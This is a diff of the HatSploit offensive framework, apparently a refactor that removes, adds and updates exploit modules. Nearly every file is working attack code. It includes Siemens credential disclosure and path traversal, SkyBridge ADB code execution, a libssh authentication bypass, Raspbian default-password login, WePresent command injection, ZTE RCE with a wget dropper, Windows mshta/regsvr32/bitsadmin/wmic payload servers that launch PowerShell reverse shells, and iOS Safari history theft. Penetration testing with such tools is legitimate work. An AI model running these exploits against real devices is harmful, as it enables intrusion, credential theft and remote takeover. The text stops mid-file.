--- a/hatsploit/modules/exploit/linux/siemens/multi_credentials_disclosure.py
+++ /dev/null
@@ -1,57 +0,0 @@
-"""
-This module requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
-
-
-class HatSploitModule(Module, HTTP):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Category': "exploit",
-            'Name': "Siemens Multi Credentials Disclosure",
-            'Module': "exploit/linux/siemens/multi_credentials_disclosure",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-            ],
-            'Description': "Siemens multiple devices credentials disclosure.",
-            'Platform': OS_LINUX,
-            'Rank': "high",
-        })
-
-    def check(self):
-        response = self.http_request(
-            method="GET",
-            path='/cgi-bin/readfile.cgi?query=ADMINID',
-        )
-
-        if not response or response.status_code != 200:
-            return False
-
-        return True
-
-    def run(self):
-        response = self.http_request(
-            method="GET",
-            path='/cgi-bin/readfile.cgi?query=ADMINID',
-        )
-
-        try:
-            username = (
-                response.text.split(';')[0].replace('var Adm_ID="', '', 1)[0:-1].strip()
-            )
-            password = (
-                response.text.split(';')[1]
-                .replace('var Adm_Pass1="', '', 1)[0:-1]
-                .strip()
-            )
-
-            self.print_table(
-                "Credentials", ('Username', 'Password'), (username, password)
-            )
-        except Exception:
-            self.print_warning("Target vulnerable, but no credentials found.")
diff --git a/hatsploit/modules/exploit/linux/siemens/multi_path_traversal.py b/hatsploit/modules/exploit/linux/siemens/multi_path_traversal.py
deleted file mode 100755
index 0e0493334..000000000
--- a/hatsploit/modules/exploit/linux/siemens/multi_path_traversal.py
+++ /dev/null
@@ -1,48 +0,0 @@
-"""
-This module requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
-
-
-class HatSploitModule(Module, HTTP):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Category': "exploit",
-            'Name': "Siemens Multi Path Traversal",
-            'Module': "exploit/linux/siemens/multi_path_traversal",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-            ],
-            'Description': "Path Traversal in Siemens multiple devices.",
-            'Platform': OS_LINUX,
-            'Rank': "high",
-        })
-
-        self.file = Option("/etc/passwd", "File to read.", True)
-
-    def check(self):
-        response = self.http_request(
-            method="GET",
-            path=f'/cgi-bin/check.cgi?file=../../..//etc/passwd',
-        )
-
-        if not response or response.status_code != 200:
-            return False
-
-        return True
-
-    def run(self):
-        response = self.http_request(
-            method="GET",
-            path=f'/cgi-bin/check.cgi?file=../../../{self.file.value}',
-        )
-
-        if response.text:
-            self.print_empty(f"\n{response.text}")
-        else:
-            self.print_warning("File is empty.")
diff --git a/hatsploit/modules/exploit/linux/skybridge/100_110_code_execution.py b/hatsploit/modules/exploit/linux/skybridge/100_110_code_execution.py
new file mode 100644
index 000000000..ae84dcb98
--- /dev/null
+++ b/hatsploit/modules/exploit/linux/skybridge/100_110_code_execution.py
@@ -0,0 +1,65 @@
+"""
+This module requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import ADB
+
+
+class HatSploitModule(Module, Handler, ADB):
+    def __init__(self):
+        super().__init__({
+            'Category': "exploit",
+            'Name': "SkyBridge MB-A100/110 Remote Code Execution",
+            'Module': "exploit/linux/skybridge/100_110_code_execution",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - module developer",
+            ],
+            'Description': (
+                "SkyBridge MB-A100/110 firmware <= 4.2.0 has an Android Debug Bridge "
+                "service exposed allowing attacker to execute arbitrary commands."
+            ),
+            'Platform': OS_LINUX,
+            'Rank': HIGH_RANK,
+            'Devices': [
+                "SkyBridge MB-A100 - firmware <= 4.2.0",
+                "SkyBridge MB-A110 - firmware <= 4.2.0",
+            ],
+            'Payload': {
+                PayloadInlineMixin: {
+                    'Value': "unix/generic/bash_reverse_tcp",
+                    'Platform': [OS_LINUX, OS_UNIX],
+                    'Arch': [ARCH_GENERIC]
+                },
+                PayloadDropMixin: {
+                    'Value': "linux/armle/shell_reverse_tcp",
+                    'Platform': [OS_LINUX, OS_UNIX],
+                    'Arch': [ARCH_ARMLE],
+                }
+            },
+            'References': [
+                {'URL': 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-23578'},
+                {'URL': 'https://www.seiko-sol.co.jp/products/skybridge/skybridge_download/mb-a100/'},
+                {'CVE': '2023-23578'}
+            ],
+            'DisclosureDate': "2023-01-01",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [RELIABLE_SESSION],
+                'SideEffects': [],
+            }
+        })
+
+        self.port.visible = False
+        self.host.description = "SkyBridge host."
+
+    def run(self):
+        client = self.open_adb()
+        client.connect()
+
+        self.module_handle(
+            sender=client.send_command,
+        )
+
+        client.disconnect()
diff --git a/hatsploit/modules/exploit/linux/skybridge/credentials_disclosure.py b/hatsploit/modules/exploit/linux/skybridge/100_110_credentials_disclosure.py
similarity index 57%
rename from hatsploit/modules/exploit/linux/skybridge/credentials_disclosure.py
rename to hatsploit/modules/exploit/linux/skybridge/100_110_credentials_disclosure.py
index 7817fc50e..00287a88c 100644
--- a/hatsploit/modules/exploit/linux/skybridge/credentials_disclosure.py
+++ b/hatsploit/modules/exploit/linux/skybridge/100_110_credentials_disclosure.py
@@ -3,24 +3,41 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import ADB
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import ADB
 
 
 class HatSploitModule(Module, ADB):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "SkyBridge MB-A100/110 Credentials Disclosure",
-            'Module': "exploit/linux/skybridge/credentials_disclosure",
+            'Module': "exploit/linux/skybridge/100_110_credentials_disclosure",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
             ],
-            'Description': "SkyBridge MB-A100/110 firmware <= 4.2.0 credentials disclosure.",
+            'Description': (
+                "SkyBridge MB-A100/110 firmware <= 4.2.0 has an Android Debug Bridge "
+                "service exposed allowing attacker to pull configuration file that has "
+                "WebUI and CLI password stored in plain text."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
+            'Devices': [
+                "SkyBridge MB-A100 - firmware <= 4.2.0",
+                "SkyBridge MB-A110 - firmware <= 4.2.0",
+            ],
+            'References': [
+                {'URL': 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-23578'},
+                {'URL': 'https://www.seiko-sol.co.jp/products/skybridge/skybridge_download/mb-a100/'},
+                {'CVE': '2023-23578'}
+            ],
+            'DisclosureDate': "2023-01-01",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
         })
 
         self.port.visible = False
diff --git a/hatsploit/modules/exploit/linux/ssh/libssh_code_execution.py b/hatsploit/modules/exploit/linux/ssh/libssh_code_execution.py
deleted file mode 100755
index 7c5efb061..000000000
--- a/hatsploit/modules/exploit/linux/ssh/libssh_code_execution.py
+++ /dev/null
@@ -1,82 +0,0 @@
-"""
-This module requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-import paramiko
-
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import TCP
-
-
-class HatSploitModule(Module, Handler, TCP):
-    def __init__(self):
-        super().__init__()
-
-        self.buffer_size = 2048
-        self.client = None
-
-        self.details.update({
-            'Category': "exploit",
-            'Name': "SSH LibSSH Code Execution",
-            'Module': "exploit/linux/ssh/libssh_code_execution",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'Peter Winter-Smith (peterwintersmith) - vulnerability researcher',
-            ],
-            'Description': "SSH LibSSH unauthorized access Remote Code Execution.",
-            'Platform': OS_LINUX,
-            'Rank': "medium",
-            'Payload': {
-                'Value': "unix/generic/netcat_reverse_tcp",
-                'Platforms': [OS_LINUX, OS_UNIX],
-            }
-        })
-
-        self.port.set(2222)
-
-    def exploit(self, command):
-        client = self.open_tcp()
-        client.connect()
-
-        message = paramiko.message.Message()
-        transport = paramiko.transport.Transport(client.sock)
-        transport.start_client()
-
-        message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
-        transport._send_message(message)
-
-        conn = transport.open_session(timeout=5)
-        conn.exec_command(command)
-
-        output = conn.makefile("rb", 4096)
-        output = output.read()
-
-        return output.decode()
-
-    def check(self):
-        try:
-            sock = self.open_tcp()
-            banner = sock.recv(self.buffer_size)
-            sock.close()
-
-            banner = banner.split(b'\n')[0].decode().strip()
-        except Exception:
-            banner = None
-
-        if banner:
-            if any(version in banner for version in ['libssh-0.6', 'libssh_0.6']):
-                return True
-            if any(version in banner for version in ['libssh-0.7', 'libssh_0.7']):
-                if int(banner.split('.')[-1]) < 6:
-                    return True
-            if any(version in banner for version in ['libssh-0.8', 'libssh_0.8']):
-                if int(banner.split('.')[-1]) < 4:
-                    return True
-
-        return False
-
-    def run(self):
-        self.module_handle(
-            sender=self.exploit,
-        )
diff --git a/hatsploit/modules/exploit/linux/ssh/raspbian_default_credentials.py b/hatsploit/modules/exploit/linux/ssh/raspbian_default_credentials.py
deleted file mode 100755
index b1e76afab..000000000
--- a/hatsploit/modules/exploit/linux/ssh/raspbian_default_credentials.py
+++ /dev/null
@@ -1,53 +0,0 @@
-"""
-This module requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import SSH
-
-
-class HatSploitModule(Module, SSH, Handler):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Category': "exploit",
-            'Name': "Raspbian Default SSH Credentials",
-            'Module': "exploit/linux/ssh/raspbian_default_credentials",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-            ],
-            'Description': "Bypass Raspberry PI SSH authorization using Raspbian default SSH password.",
-            'Platform': OS_LINUX,
-            'Rank': "medium",
-            'Payload': {
-                'Value': "unix/generic/bash_reverse_tcp",
-                'Arches': [ARCH_ARMLE, ARCH_AARCH64, ARCH_GENERIC],
-                'Platforms': [OS_LINUX, OS_UNIX],
-            }
-        })
-
-        self.username.visible = False
-        self.username.set('pi')
-
-        self.password.visible = False
-        self.password.set('raspberry')
-
-    def check(self):
-        client = self.open_ssh()
-
-        client.connect()
-        client.disconnect()
-
-        return True
-
-    def run(self):
-        client = self.open_ssh()
-        client.connect()
-
-        self.module_handle(
-            sender=client.send_command
-        )
-
-        client.disconnect()
diff --git a/hatsploit/modules/exploit/linux/wepresent/wipg1000_code_execution.py b/hatsploit/modules/exploit/linux/wepresent/wipg1000_code_execution.py
deleted file mode 100755
index e601a1195..000000000
--- a/hatsploit/modules/exploit/linux/wepresent/wipg1000_code_execution.py
+++ /dev/null
@@ -1,56 +0,0 @@
-"""
-This module requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
-
-
-class HatSploitModule(Module, Handler, HTTP):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Category': "exploit",
-            'Name': "WePresent WiPG-1000 Remote Code Execution",
-            'Module': "exploit/linux/wepresent/wipg1000_code_execution",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'Matthias Brun - vulnerability researcher',
-            ],
-            'Description': "Remote Code Execution in WePresent WiPG-1000 <= 2.0.0.7.",
-            'Platform': OS_LINUX,
-            'Rank': "high",
-            'Payload': {
-                'Value': "unix/generic/netcat_reverse_tcp",
-                'Arches': [ARCH_ARMLE, ARCH_AARCH64, ARCH_GENERIC],
-                'Platforms': [OS_LINUX, OS_UNIX],
-            }
-        })
-
-    def exploit(self, command):
-        data = {"Client": f"`{command}`", "Download": "Download"}
-
-        self.http_request(
-            method="POST",
-            path='/cgi-bin/rdfs.cgi',
-            data=data,
-        )
-
-    def check(self):
-        response = self.http_request(
-            method="GET",
-            path="/cgi-bin/rdfs.cgi"
-        )
-
-        if response is None or response.status_code != 200:
-            return False
-
-        return True
-
-    def run(self):
-        self.module_handle(
-            method="echo",
-            sender=self.exploit,
-        )
diff --git a/hatsploit/modules/exploit/linux/zte/f460_f660_rce.py b/hatsploit/modules/exploit/linux/zte/f460_f660_rce.py
index 8360f80d4..7ae91bec3 100755
--- a/hatsploit/modules/exploit/linux/zte/f460_f660_rce.py
+++ b/hatsploit/modules/exploit/linux/zte/f460_f660_rce.py
@@ -5,34 +5,52 @@
 
 import re
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
-from pex.string import String
 
-
-class HatSploitModule(Module, Handler, String, HTTP):
+class HatSploitModule(Module, Handler, HTTP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "ZTE F460 & F660 Remote Code Execution",
             'Module': "exploit/linux/zte/f460_f660_rce",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'Rapid7 - vulnerability researcher',
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Rapid7 - vulnerability researcher",
             ],
             'Description': "Remote Code Execution in ZTE F460 and F660.",
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
             'Payload': {
-                'Value': "linux/mipsle/shell_reverse_tcp",
-                'Arches': [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_GENERIC],
-                'Platforms': [OS_LINUX, OS_UNIX],
+                PayloadInlineMixin: {
+                    'Value': "unix/generic/netcat_reverse_tcp",
+                    'Platform': [OS_LINUX, OS_UNIX],
+                    'Arch': [ARCH_GENERIC],
+                },
+                PayloadDropMixin: {
+                    'Value': "linux/mipsle/shell_reverse_tcp",
+                    'Platform': [OS_LINUX],
+                    'Arch': [ARCH_MIPSLE, ARCH_MIPSBE],
+                }
+            },
+            'References': [
+                {'URL': 'https://www.tenable.com/plugins/nessus/73104'},
+                {'URL': 'https://www.kb.cert.org/vuls/id/600724'},
+                {'URL': 'https://nvd.nist.gov/vuln/detail/CVE-2014-2321'},
+                {'CVE': '2014-2321'}
+            ],
+            'DisclosureDate': "2014-03-19",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [RELIABLE_SESSION],
+                'SideEffects': [],
             }
         })
 
+    def __call__(self):
+        self.dropper.set('wget')
+
     def exploit(self, command):
         data = {
             "IF_ACTION": 'apply',
@@ -68,8 +86,7 @@ def check(self):
 
     def run(self):
         self.module_handle(
-            method="echo",
             concat="&&",
-            linemax=15,
+            linemax=100,
             sender=self.exploit,
         )
diff --git a/hatsploit/modules/exploit/windows/handler/bitsadmin_reverse_http.py b/hatsploit/modules/exploit/windows/handler/bitsadmin_reverse_http.py
deleted file mode 100755
index 33e35af0c..000000000
--- a/hatsploit/modules/exploit/windows/handler/bitsadmin_reverse_http.py
+++ /dev/null
@@ -1,74 +0,0 @@
-"""
-This module requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
-from hatsploit.lib.payloads import Payloads
-
-
-class HatSploitModule(Module, HTTP, Payloads, Handler):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Category': "exploit",
-            'Name': "Windows bitsadmin.exe Reverse HTTP Handler",
-            'Module': "exploit/windows/handler/bitsadmin_reverse_http",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-            ],
-            'Description': "Windows bitsadmin.exe reverse HTTP handler.",
-            'Platform': OS_WINDOWS,
-            'Rank': "high",
-            'Payload': {
-                'Value': "windows/generic/powershell_reverse_tcp",
-                'Platforms': [OS_WINDOWS],
-            }
-        })
-
-        self.urlpath = Option("/", "File path on server.", True)
-
-    def serve_bitsadmin(self):
-        payload = self.generate_payload(
-            "windows/generic/powershell_reverse_tcp",
-            {'RHOST': self.payload.payload.rhost, 'RPORT': self.payload.payload.rport},
-        )['Payload']
-
-        def get(request):
-            if request.path == self.urlpath.value:
-                self.print_process("Delivering payload...")
-
-                request.send_response(200)
-                request.send_header("Content-type", "text/html")
-                request.end_headers()
-
-                request.wfile.write(
-                    (
-                        "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>"
-                        "<job id=\"0\">"
-                        "    <script language=\"JScript\">"
-                        "        <![CDATA["
-                        f"            new ActiveXObject(\"WScript.Shell\").Run(\"{payload}\");\n"
-                        "        ]]>"
-                        "    </script>"
-                        "</job>"
-                    ).encode()
-                )
-
-        self.listen_http(methods={'GET': get})
-
-    def run(self):
-        self.background(self.serve_bitsadmin)
-
-        remote = self.module_handle_session(
-            type='reverse_tcp',
-            session=HatSploitSession
-        )
-
-        if remote:
-            self.module_handle(
-                sender=remote[0].send_command,
-                on_session=remote[0].close
-            )
diff --git a/hatsploit/modules/exploit/windows/handler/mshta_reverse_http.py b/hatsploit/modules/exploit/windows/handler/mshta_reverse_http.py
deleted file mode 100755
index 8b4c49331..000000000
--- a/hatsploit/modules/exploit/windows/handler/mshta_reverse_http.py
+++ /dev/null
@@ -1,74 +0,0 @@
-"""
-This module requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
-from hatsploit.lib.payloads import Payloads
-
-
-class HatSploitModule(Module, HTTP, Payloads, Handler):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Category': "exploit",
-            'Name': "Windows mshta.exe Reverse HTTP Handler",
-            'Module': "exploit/windows/handler/mshta_reverse_http",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-            ],
-            'Description': "Windows mshta.exe reverse HTTP handler.",
-            'Platform': OS_WINDOWS,
-            'Rank': "high",
-            'Payload': {
-                'Value': "windows/generic/powershell_reverse_tcp",
-                'Platforms': [OS_WINDOWS],
-            }
-        })
-
-        self.urlpath = Option("/", "File path on server.", True)
-
-    def serve_mshta(self):
-        payload = self.generate_payload(
-            "windows/generic/powershell_reverse_tcp",
-            {'RHOST': self.payload.payload.rhost, 'RPORT': self.payload.payload.rport},
-        )['Payload']
-
-        def get(request):
-            if request.path == self.urlpath.value:
-                self.print_process("Delivering payload...")
-
-                request.send_response(200)
-                request.send_header("Content-type", "text/html")
-                request.end_headers()
-
-                request.wfile.write(
-                    (
-                        "<html>\n"
-                        "   <head>\n"
-                        "       <script>\n"
-                        f"          new ActiveXObject(\"WScript.Shell\").Run(\"{payload}\");\n"
-                        "           self.close();\n"
-                        "       </script>\n"
-                        "   </head>\n"
-                        "</html>\n"
-                    ).encode()
-                )
-
-        self.listen_http(methods={'GET': get})
-
-    def run(self):
-        self.background(self.serve_mshta)
-
-        remote = self.module_handle_session(
-            type='reverse_tcp',
-            session=HatSploitSession,
-        )
-
-        if remote:
-            self.module_handle(
-                sender=remote[0].send_command,
-                on_session=remote[0].close
-            )
diff --git a/hatsploit/modules/exploit/windows/handler/regsvr32_reverse_http.py b/hatsploit/modules/exploit/windows/handler/regsvr32_reverse_http.py
deleted file mode 100755
index d36ed863d..000000000
--- a/hatsploit/modules/exploit/windows/handler/regsvr32_reverse_http.py
+++ /dev/null
@@ -1,84 +0,0 @@
-"""
-This module requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
-from hatsploit.lib.payloads import Payloads
-
-
-class HatSploitModule(Module, HTTP, Payloads, Handler):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Category': "exploit",
-            'Name': "Windows regsvr32.exe Reverse HTTP Handler",
-            'Module': "exploit/windows/handler/regsvr32_reverse_http",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-            ],
-            'Description': "Windows regsvr32.exe reverse HTTP handler.",
-            'Platform': OS_WINDOWS,
-            'Rank': "high",
-            'Payload': {
-                'Value': "windows/generic/powershell_reverse_tcp",
-                'Platforms': [OS_WINDOWS],
-            }
-        })
-
-        self.urlpath = Option("/", "File path on server.", True)
-
-    def serve_regsvr32(self):
-        payload = self.generate_payload(
-            "windows/generic/powershell_reverse_tcp",
-            {'RHOST': self.payload.payload.rhost, 'RPORT': self.payload.payload.rport},
-        )['Payload']
-
-        def get(request):
-            if request.path == self.urlpath.value:
-                self.print_process("Delivering payload...")
-
-                request.send_response(200)
-                request.send_header("Content-type", "text/html")
-                request.end_headers()
-
-                request.wfile.write(
-                    (
-                        "<?XML version=\"1.0\"?>\n"
-                        "<scriptlet>\n"
-                        "<registration\n"
-                        "    description=\"Win32COMDebug\"\n"
-                        "    progid=\"Win32COMDebug\"\n"
-                        "    version=\"1.00\"\n"
-                        "    classid=\"{AAAA1111-0000-0000-0000-0000FEEDACDC}\"\n"
-                        ">\n"
-                        "<script language=\"JScript\">\n"
-                        "    <![CDATA[\n"
-                        f"        new ActiveXObject(\"WScript.Shell\").Run(\"{payload}\");\n"
-                        "    ]]>\n"
-                        "</script>\n"
-                        "</registration>\n"
-                        "<public>\n"
-                        "    <method name=\"Exec\"></method>\n"
-                        "</public>\n"
-                        "</scriptlet>\n"
-                    ).encode()
-                )
-
-        self.listen_http(methods={'GET': get})
-
-    def run(self):
-        self.background(self.serve_regsvr32)
-
-        remote = self.module_handle_session(
-            type='reverse_tcp',
-            session=HatSploitSession
-        )
-
-        if remote:
-            self.module_handle(
-                sender=remote[0].send_command,
-                on_session=remote[0].close
-            )
diff --git a/hatsploit/modules/exploit/windows/handler/wmic_reverse_http.py b/hatsploit/modules/exploit/windows/handler/wmic_reverse_http.py
deleted file mode 100755
index bfa37b24b..000000000
--- a/hatsploit/modules/exploit/windows/handler/wmic_reverse_http.py
+++ /dev/null
@@ -1,78 +0,0 @@
-"""
-This module requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
-from hatsploit.lib.payloads import Payloads
-
-
-class HatSploitModule(Module, HTTP, Payloads, Handler):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Category': "exploit",
-            'Name': "Windows wmic.exe Reverse HTTP Handler",
-            'Module': "exploit/windows/handler/wmic_reverse_http",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-            ],
-            'Description': "Windows wmic.exe reverse HTTP handler.",
-            'Platform': OS_WINDOWS,
-            'Rank': "high",
-            'Payload': {
-                'Value': "windows/generic/powershell_reverse_tcp",
-                'Platforms': [OS_WINDOWS],
-            }
-        })
-
-        self.urlpath = Option("/", "File path on server.", True)
-
-    def serve_wmic(self):
-        payload = self.generate_payload(
-            "windows/generic/powershell_reverse_tcp",
-            {'RHOST': self.payload.payload.rhost, 'RPORT': self.payload.payload.rport},
-        )['Payload']
-
-        def get(request):
-            if request.path == self.urlpath.value:
-                self.print_process("Delivering payload...")
-
-                request.send_response(200)
-                request.send_header("Content-type", "text/html")
-                request.end_headers()
-
-                request.wfile.write(
-                    (
-                        "<?xml version='1.0'?>\n"
-                        "<stylesheet\n"
-                        "    xmlns=\"http://www.w3.org/1999/XSL/Transform\" xmlns:ms=\"urn:schemas-microsoft-com:xslt\"\n"
-                        "    xmlns:user=\"placeholder\"\n"
-                        "    version=\"1.0\"\n"
-                        ">\n"
-                        "<output method=\"text\"/>\n"
-                        "    <ms:script implements-prefix=\"user\" language=\"JScript\">\n"
-                        "        <![CDATA[\n"
-                        f"            new ActiveXObject(\"WScript.Shell\").Run(\"{payload}\");\n"
-                        "        ]]> </ms:script>\n"
-                        "</stylesheet>\n"
-                    ).encode()
-                )
-
-        self.listen_http(methods={'GET': get})
-
-    def run(self):
-        self.background(self.serve_wmic)
-
-        remote = self.module_handle_session(
-            type='reverse_tcp',
-            session=HatSploitSession
-        )
-
-        if remote:
-            self.module_handle(
-                sender=remote[0].send_command,
-                on_session=remote[0].close
-            )
diff --git a/hatsploit/modules/post/apple_ios/shell/respring.py b/hatsploit/modules/post/apple_ios/shell/respring.py
index 79c85087e..6b1c61e4f 100755
--- a/hatsploit/modules/post/apple_ios/shell/respring.py
+++ b/hatsploit/modules/post/apple_ios/shell/respring.py
@@ -3,26 +3,26 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
+from hatsploit.lib.core.module.basic import *
 
 
 class HatSploitModule(Module):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "post",
             'Name': "iOS Restart SpringBoard",
             'Module': "post/apple_ios/shell/respring",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
             ],
-            'Description': "Restart iOS SpringBoard.app through shell.",
+            'Description': (
+                "Restart iOS SpringBoard.app through shell."
+            ),
             'Platform': OS_IPHONE,
-            'Rank': "medium",
+            'Rank': MEDIUM_RANK,
         })
 
-        self.session = SessionOption(None, "Session to run on.", True,
+        self.session = SessionOption('SESSION', None, "Session to run on.", True,
                                      platforms=[OS_IPHONE], type='shell')
 
     def run(self):
diff --git a/hatsploit/modules/post/apple_ios/shell/safari_bookmarks.py b/hatsploit/modules/post/apple_ios/shell/safari_bookmarks.py
index 28e67bd3c..454474ee6 100755
--- a/hatsploit/modules/post/apple_ios/shell/safari_bookmarks.py
+++ b/hatsploit/modules/post/apple_ios/shell/safari_bookmarks.py
@@ -4,41 +4,40 @@
 """
 
 from hatsploit.lib.loot import Loot
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.sessions import Sessions
+from hatsploit.lib.core.module.basic import *
 
 from pex.db import DB
 
 
-class HatSploitModule(Module, Sessions, DB):
+class HatSploitModule(Module):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "post",
             'Name': "Obtain Safari bookmarks",
             'Module': "post/apple_ios/shell/safari_bookmarks",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
             ],
-            'Description': "Get iOS Safari bookmarks database and parse it.",
+            'Description': (
+                "Get iOS Safari bookmarks database and parse it."
+            ),
             'Platform': OS_IPHONE,
-            'Rank': "medium",
+            'Rank': MEDIUM_RANK,
         })
 
-        self.session = SessionOption(None, "Session to run on.", True,
+        self.session = SessionOption('SESSION', None, "Session to run on.", True,
                                      platforms=[OS_IPHONE], type='shell')
-        self.path = Option(Loot().specific_loot('Bookmarks.db'), "Path to save file.", True)
+        self.path = Option('PATH', Loot().specific_loot('Bookmarks.db'), "Path to save file.", True)
 
     def run(self):
         bookmarks = '/private/var/mobile/Library/Safari/Bookmarks.db'
-        path = self.session_download(self.session.value, bookmarks, self.path.value)
+        path = self.session.session.download(bookmarks, self.path.value)
 
         if path:
             self.print_process("Parsing bookmarks database...")
 
             try:
-                bookmarks = self.parse_safari_bookmarks(path)
+                bookmarks = DB().parse_safari_bookmarks(path)
             except Exception:
                 self.print_error("Failed to parse bookmarks database!")
                 return
diff --git a/hatsploit/modules/post/apple_ios/shell/safari_history.py b/hatsploit/modules/post/apple_ios/shell/safari_history.py
index 378c8d04d..82194653a 100755
--- a/hatsploit/modules/post/apple_ios/shell/safari_history.py
+++ b/hatsploit/modules/post/apple_ios/shell/safari_history.py
@@ -4,40 +4,40 @@
 """
 
 from hatsploit.lib.loot import Loot
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.sessions import Sessions
+from hatsploit.lib.core.module.basic import *
+
 from pex.db import DB
 
 
-class HatSploitModule(Module, Sessions, DB):
+class HatSploitModule(Module):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "post",
             'Name': "Obtain Safari history",
             'Module': "post/apple_ios/shell/safari_history",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
             ],
-            'Description': "Get iOS Safari history database and parse it.",
+            'Description': (
+                "Get iOS Safari history database and parse it."
+            ),
             'Platform': OS_IPHONE,
-            'Rank': "medium",
+            'Rank': MEDIUM_RANK,
         })
 
-        self.session = SessionOption(None, "Session to run on.", True,
+        self.session = SessionOption('SESSION', None, "Session to run on.", True,
                                      platforms=[OS_IPHONE], type='shell')
-        self.path = Option(Loot().specific_loot('History.db'), "Path to save file.", True)
+        self.path = Option('PATH', Loot().specific_loot('History.db'), "Path to save file.", True)
 
     def run(self):
         history = '/private/var/mobile/Library/Safari/History.db'
-        path = self.session_download(self.session.value, history, self.path.value)
+        path = self.session.session.download(history, self.path.value)
 
         if path:
             self.print_process("Parsing history database...")
 
             try:
-                history = self.parse_safari_history(path)
+                history = DB().parse_safari_history(path)
             except Exception:
                 self.print_error("Failed to parse history database!")
                 return
diff --git a/hatsploit/modules/post/macos/shell/suspend.py b/hatsploit/modules/post/macos/shell/suspend.py
index 02c212012..0279746e9 100755
--- a/hatsploit/modules/post/macos/shell/suspend.py
+++ b/hatsploit/modules/post/macos/shell/suspend.py
@@ -3,29 +3,29 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
+from hatsploit.lib.core.module.basic import *
 
 
 class HatSploitModule(Module):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
